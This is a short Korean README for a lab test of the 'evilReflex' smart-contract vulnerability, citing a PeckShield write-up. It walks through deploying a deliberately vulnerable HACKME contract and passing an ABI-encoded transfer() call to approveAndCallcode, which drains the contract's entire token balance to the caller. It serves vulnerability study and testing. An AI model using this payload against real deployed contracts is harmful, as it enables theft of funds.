EvilReflex

이게 뭔가요?

이것은 스마트 컨트랙트의 evilReflex 취약점을 테스트하기 위한 간단한 테스트입니다.

테스트 방법?

1단계：evilReflex.sol 컴파일

2단계：HACKME 배포

예:

Account Address： 0x62ba0a06ffc1d0a706172e1ed755b9b91f53a617
balance: 10090000000000000000000000

Contract address： 0x26336eb6761d7c6ac28251d5e20f63623fc16ad5
balance: 10090000000000000000000000

3단계：인코딩

transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000) 를 다음과 같은 바이트코드로 인코딩: 0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000

4단계：approveAndCallcode 함수를 호출하고 다음 매개변수를 전달하세요:

approveAndCallcode(
    0xf8e81D47203A594245E36C48e151709F0C19fBe8,
    0,
    0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000
 )

5단계：자신의 계정 자산을 확인하면 자산이 증가했고 컨트랙트 자산이 0이 된 것을 확인할 수 있습니다.

참고 자료

https://blog.peckshield.com/2018/06/23/evilReflex/